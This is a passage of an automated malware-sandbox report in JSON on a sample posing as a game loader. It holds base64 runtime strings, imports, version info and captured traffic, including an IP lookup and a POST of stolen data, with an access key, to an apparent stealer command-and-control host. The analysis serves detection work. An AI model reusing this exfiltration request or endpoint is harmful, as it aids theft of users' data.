Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGVybWlzc2lvbnM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UEZYRXhwb3J0Q2VydFN0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UEZYSW1wb3J0Q2VydFN0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGluUnVsZXM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGluUnVsZXNFbmNvZGVkQ3Rs","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGluUnVsZXNMYXN0U3luY1RpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGluUnVsZXNMb2dEaXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJlZmVyRXh0ZXJuYWxNYW5pZmVzdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJlZmVycmVkVUlMYW5ndWFnZXM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdmF0ZUtleUxpZmV0aW1lU2Vjb25kcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdktleUNhY2hlTWF4SXRlbXM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdktleUNhY2hlUHVyZ2VJbnRlcnZhbFNlY29uZHM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzczMyRmlyc3Q=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzczMyRmlyc3RX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzczMyTmV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzczMyTmV4dFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"cHJvdGVjdGVkX3N0b3JhZ2U=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJveHlFbmFibGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJveHlPdmVycmlkZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJveHlTZXJ2ZXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlDb250ZXh0QXR0cmlidXRlc1c=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmFpc2VBY3RpdmF0aW9uQXV0aGVudGljYXRpb25MZXZlbA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmFpc2VEZWZhdWx0QXV0aG5MZXZlbA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmFpc2VFeGNlcHRpb25PblBvc3NpYmxlRGVhZGxvY2s=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnQ2xvc2VLZXk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnQ3JlYXRlS2V5RXhB","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnQ3JlYXRlS2V5RXhX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnRW51bUtleUV4Vw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnRW51bVZhbHVlVw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnT3BlbktleUV4Vw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnUXVlcnlJbmZvS2V5Vw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnUXVlcnlWYWx1ZUV4Vw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnU2V0VmFsdWVFeEE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVsZWFzZVNSV0xvY2tFeGNsdXNpdmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVsZWFzZVNSV0xvY2tTaGFyZWQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVtb3RlU2VydmVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVzb3VyY2VQb2xpY2llcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Um9PcmlnaW5hdGVFcnJvclc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UlNBUFVCTElDQkxPQg==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UnRsQWRqdXN0UHJpdmlsZWdl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UnRsR2V0VmVyc2lvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2FmZURsbFNlYXJjaE1vZGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2FmZVByb2Nlc3NTZWFyY2hNb2Rl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c2VjdXIzMi5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2VjdXJpdHlQcm92aWRlcnM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2VyaWFsX0FjY2Vzc19OdW0=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0RW5kT2ZGaWxl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZVBvaW50ZXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0UHJvY2Vzc0RwaUF3YXJlbmVzc0NvbnRleHQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0U3RkSGFuZGxl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkRGVzY3JpcHRpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkcG9vbFRpbWVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkcG9vbFdhaXQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c2V0dGluZ3MudmVyc2lvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0V2luZG93Q29tcG9zaXRpb25BdHRyaWJ1dGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c2hjb3JlLmRsbA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c2hlbGwzMi5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hlbGxfVHJheVduZA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hlbGxFeGVjdXRlVw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2xlZXBDb25kaXRpb25WYXJpYWJsZUNT","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2xlZXBDb25kaXRpb25WYXJpYWJsZVNSVw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U210RGVsYXlCYXNlWWllbGQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U210RGVsYXlNYXhZaWVsZA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U210RGVsYXlTbGVlcExvb3BXaW5kb3dTaXpl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U210RGVsYXlTcGluQ291bnRUaHJlc2hvbGQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U210RmFjdG9yWWllbGQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3VibWl0VGhyZWFkcG9vbFdvcms=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtU2V0dXBJblByb2dyZXNz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtVGltZVRvRmlsZVRpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtVGltZVRvVHpTcGVjaWZpY0xvY2FsVGltZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGFyZ2V0IElNRQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGhyZWFkaW5n","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGhyZWFkaW5nTW9kZWw=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VG9rZW5TaXpl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VHJhbnNwYXJlbnRFbmFibGVk","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VHJ1c3RMZXZlbA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VHJ5QWNxdWlyZVNSV0xvY2tFeGNsdXNpdmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VHJ5RW50ZXJDcml0aWNhbFNlY3Rpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VFNBcHBDb21wYXQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VFNVc2VyRW5hYmxlZA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VHpTcGVjaWZpY0xvY2FsVGltZVRvU3lzdGVtVGltZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VW5sb2NrRmlsZUV4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dXNlX3NvZnR3YXJlX3hvcl9jb3B5cGl4ZWxz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dXNlcjMyLmRsbA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlckNvbnRleHRMaXN0Q291bnQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlckNvbnRleHRMb2NrQ291bnQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dXNlcmVudi5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlcmVudkRlYnVnTGV2ZWw=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dXh0aGVtZS5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VmlydHVhbCBLZXk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dm0zZGdsNjQuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dm0zZGdsaGVscGVyNjQuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Vk0zREdMSGVscGVyQ2xlYW51cA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Vk0zREdMSGVscGVyR2V0RGV2Q2FwTWF4Q291bnQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Vk0zREdMSGVscGVySW5pdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Vk0zREdMSGVscGVyTG9n","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Vk0zREdMSGVscGVyU2V0TG9nTGV2ZWxz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FpdEZvclNpbmdsZU9iamVjdEV4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FpdEZvclRocmVhZHBvb2xUaW1lckNhbGxiYWNrcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FrZUFsbENvbmRpdGlvblZhcmlhYmxl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FrZUNvbmRpdGlvblZhcmlhYmxl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0RTQUFsbEZsYWdz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0RTQVRoaXJkUGFydHlGbGFncw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0VDRFNBQWxsRmxhZ3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0VDRFNBQWxsU2hhMjU2QWxsb3c=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0VDRFNBVGhpcmRQYXJ0eUFmdGVyVGltZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0VDRFNBVGhpcmRQYXJ0eUZsYWdz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0VDRFNBVGhpcmRQYXJ0eU1pbkJpdExlbmd0aA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0VDRFNBVGhpcmRQYXJ0eVNoYTI1NkFsbG93","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha01ENUFsbEZsYWdz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha01ENUFsbFNoYTI1NkFsbG93","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha01ENVRoaXJkUGFydHlBZnRlclRpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha01ENVRoaXJkUGFydHlGbGFncw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha01ENVRoaXJkUGFydHlTaGEyNTZBbGxvdw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1JTQUFsbEZsYWdz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1JzYVB1YktleVRpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1JTQVRoaXJkUGFydHlGbGFncw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1NIQTFBbGxGbGFncw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1NIQTFBbGxTaGEyNTZBbGxvdw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1NIQTFUaGlyZFBhcnR5QWZ0ZXJUaW1l","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1NIQTFUaGlyZFBhcnR5RmxhZ3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1NIQTFUaGlyZFBhcnR5U2hhMjU2QWxsb3c=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"d3MyXzMyLmRsbA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"eyJzdWNjZXNzIjp0cnVlLCJtZXNzYWdlIjoic3VjY2VzcyJ9","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"screen_1.png","strings":[{"value":"KHhCNilcR2FtZTo=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_1.png","compromised":null,"detection_total":null,"total":null},{"value":"Ni8yOS8yMDI1","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_1.png","compromised":null,"detection_total":null,"total":null},{"value":"YWdyZWVtZW50","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_1.png","compromised":null,"detection_total":null,"total":null},{"value":"QzpcUHJvZ3JhbQ==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_1.png","compromised":null,"detection_total":null,"total":null}]},{"name":"WerFault.exe:4820","strings":[{"value":"LXBzcyAtcyA0NDAgLXAgNjQ4IC1pcCA2NDg=","type":"Ansi","source":"Process Commandline","process":"WerFault.exe","filename":"WerFault.exe","compromised":null,"detection_total":null,"total":null}]},{"name":"WerFault.exe:1332","strings":[{"value":"LXUgLXAgNjQ4IC1zIDEwMTI=","type":"Ansi","source":"Process Commandline","process":"WerFault.exe","filename":"WerFault.exe","compromised":null,"detection_total":null,"total":null}]},{"name":"PCAP","strings":[{"value":"L215dGgvYXBp","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"YXBpLmlwaWZ5Lm9yZw==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"R0VUIC8gSFRUUC8xLjFhY2NlcHQ6ICovKmhvc3Q6IGFwaS5pcGlmeS5vcmc=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"bXl0aHN0ZWFsZXIud2lu","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$56","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null}]}],"image":[]},"http_requests":[{"host":"api.ipify.org","host_ip":"172.67.74.152:443","url":"/","method":"GET","response_code":"200","response_file_type_tags":[],"response_file_size":null,"response_file_exists":false,"response_file_download_link":null,"response_file_submit_link":null,"response_phrase":"OK","response_header":"HTTP/1.1 200 OK\nDate: Sun, 29 Jun 2025 13:58:14 GMT\nContent-Type: text/plain\nContent-Length: 13\nConnection: keep-alive\nCF-RAY: 9575f006ecc3ed37-SJC\nVary: Origin\ncf-cache-status: DYNAMIC\nServer: cloudflare\nserver-timing: cfL4;desc=\"?proto=TCP&rtt=1518&min_rtt=1509&rtt_var=585&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=465&delivery_rate=1841109&cwnd=251&unsent_bytes=0&cid=dd1a3f3702ed9cf4&ts=634&x=0\"","header":"GET / HTTP/1.1\naccept: */*\nhost: api.ipify.org","hex":" 0 : 47 45 54 20 2F 20 48 54 54 50 2F 31 2E 31 0A 61 [GET / HTTP/1.1.a]\n 10 : 63 63 65 70 74 3A 20 2A 2F 2A 0A 68 6F 73 74 3A [ccept: */*.host:]\n 20 : 20 61 70 69 2E 69 70 69 66 79 2E 6F 72 67 0A [ api.ipify.org.]\n"},{"host":"mythstealer.win","host_ip":"172.67.182.176:443","url":"/myth/api","method":"POST","response_code":"200","response_file_type_tags":[],"response_file_size":null,"response_file_exists":false,"response_file_download_link":null,"response_file_submit_link":null,"response_phrase":"OK","response_header":"HTTP/1.1 200 OK\nDate: Sun, 29 Jun 2025 13:58:16 GMT\nContent-Type: application/json\nContent-Length: 36\nConnection: keep-alive\nNel: {\"report_to\":\"cf-nel\",\"success_fraction\":0.0,\"max_age\":604800}\nCf-Cache-Status: DYNAMIC\nReport-To: {\"group\":\"cf-nel\",\"max_age\":604800,\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=run%2FX2zNNc5eunIzlWFinWy%2FfhGoEnAbDB10eqbZXO%2FWB3hSAN4CnMtNZBg6sVegxf%2BAeFS9%2B92yNCIYWJ1IE4okELDemTHiQH31p1JqCA%3D%3D\"}]}\nServer: cloudflare\nCF-RAY: 9575f00cbb18face-SJC\nalt-svc: h3=\":443\"; ma=86400","header":"POST /myth/api HTTP/1.1\nkey: myth-e8552bc3-d60a\ncontent-type: application/octet-stream\ncontent-length: 5682\naccept: */*\nhost: mythstealer.win","hex":"$57"}],"ftp_requests":[],"irc_requests":[],"strings_resources":["20.19.18.17","3.87.95.10","64.124.12.162","http://api.ipify.org","http://mythstealer.win","http://scripts.sil.org/ofl"],"tags_details":[],"sample_flags":["Multi-Process","Network Traffic","Launch Failed"],"suricata_alerts":[{"destination_ip":"255.255.255.255","destination_port":67,"protocol":"UDP","category":"Generic Protocol Command Decode","description":"SURICATA IPv4 invalid checksum","sid":"2200073"},{"destination_ip":"172.67.182.176","destination_port":443,"protocol":"TCP","category":"Generic Protocol Command Decode","description":"SURICATA IPv4 invalid checksum","sid":"2200073"},{"destination_ip":"172.67.74.152","destination_port":443,"protocol":"TCP","category":"Generic Protocol Command Decode","description":"SURICATA IPv4 invalid checksum","sid":"2200073"},{"destination_ip":"172.67.74.152","destination_port":443,"protocol":"TCP","category":"Misc activity","description":"ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI","sid":"2047703"}],"version_info":[{"id":"FileFlagsExMask","value":"0x00000000"},{"id":"InternalName","value":"driveralpha_549.exe"},{"id":"Language","value":"0409"},{"id":"Charset","value":"0409"},{"id":"FileDescription","value":"Game Loader 9sjf"},{"id":"OriginalFilename","value":"driveralpha_549.exe"},{"id":"CodePage","value":"0409"},{"id":"ProductName","value":"Game Loader 9sjf"},{"id":"FileFlagsEx","value":"0x00000000"},{"id":"FileOS","value":"0x00000004"},{"id":"CompanyName","value":"Game Development"},{"id":"FileFlags","value":"0x00000000"},{"id":"Type","value":"Application"},{"id":"FileVersion","value":"3.87.95.10"},{"id":"LegalCopyright","value":"Game Development 2025. All rights reserved."},{"id":"FileSubtype","value":"0x00000000"},{"id":"ProductVersion","value":"3.87.95.10"},{"id":"Translation","value":"0x0000 0x04b0"}],"apk_info":null,"apps_info":[{"name":"Access","product":"Microsoft Office 2010","version":"14.0.6024.1000"},{"name":"Acrobat Reader","product":"Adobe Reader","version":"11.0.20.17"},{"name":"Chrome","product":"Google Chrome","version":"119.0.6045.105"},{"name":"Excel","product":"Microsoft Office 2010","version":"14.0.6024.1000"},{"name":"Firefox","product":"Firefox","version":"120.0.1"},{"name":"Flash","product":null,"version":null},{"name":"Hancom Office Hancell","product":null,"version":null},{"name":"Internet Explorer","product":"Internet Explorer","version":"11.00.22621.1"},{"name":"Java","product":"Java(TM) Platform SE 8","version":"8.0.3710.11"},{"name":"OneNote","product":"Microsoft OneNote","version":"14.0.6022.1000"},{"name":"PowerPoint","product":"Microsoft Office 2010","version":"14.0.6009.1000"},{"name":"Word","product":"Microsoft Office 2010","version":"14.0.6024.1000"}],"architecture":"64 Bit","document":{"author":null,"creator":null,"producer":null,"title":null,"subject":null,"pages":0},"packer":null,"file_imports":[{"module":"advapi32.dll","functions":["ImpersonateAnonymousToken","RevertToSelf","SystemFunction036"]},{"module":"api-ms-win-core-synch-l1-2-0.dll","functions":["WaitOnAddress","WakeByAddressAll","WakeByAddressSingle"]},{"module":"bcrypt.dll","functions":["BCryptGenRandom"]},{"module":"bcryptprimitives.dll","functions":["ProcessPrng"]},{"module":"dwmapi.dll","functions":["DwmEnableBlurBehindWindow"]},{"module":"gdi32.dll","functions":["ChoosePixelFormat","CreateDIBitmap","CreateRectRgn","DeleteObject","DescribePixelFormat","GetDeviceCaps","GetDIBits","GetObjectW","SetPixelFormat","SwapBuffers"]},{"module":"imm32.dll","functions":["ImmAssociateContextEx","ImmGetCompositionStringW","ImmGetContext","ImmReleaseContext","ImmSetCandidateWindow","ImmSetCompositionWindow"]},{"module":"KERNEL32.dll","functions":["__C_specific_handler","DeleteCriticalSection","EnterCriticalSection","InitializeCriticalSection","LeaveCriticalSection","RaiseException","RtlUnwindEx","VirtualProtect","VirtualQuery"]},{"module":"kernel32.dll","functions":["AddVectoredExceptionHandler","CancelIo","CancelIoEx","CloseHandle","CompareStringOrdinal","ConnectNamedPipe","CopyFileExW","CreateDirectoryW","CreateEventW","CreateFileMappingA","CreateFileW","CreateHardLinkW","CreateIoCompletionPort","CreateNamedPipeW","CreatePipe","CreateProcessW","CreateSymbolicLinkW","CreateThread","CreateToolhelp32Snapshot","CreateWaitableTimerExW","DeleteFileW","DeleteProcThreadAttributeList","De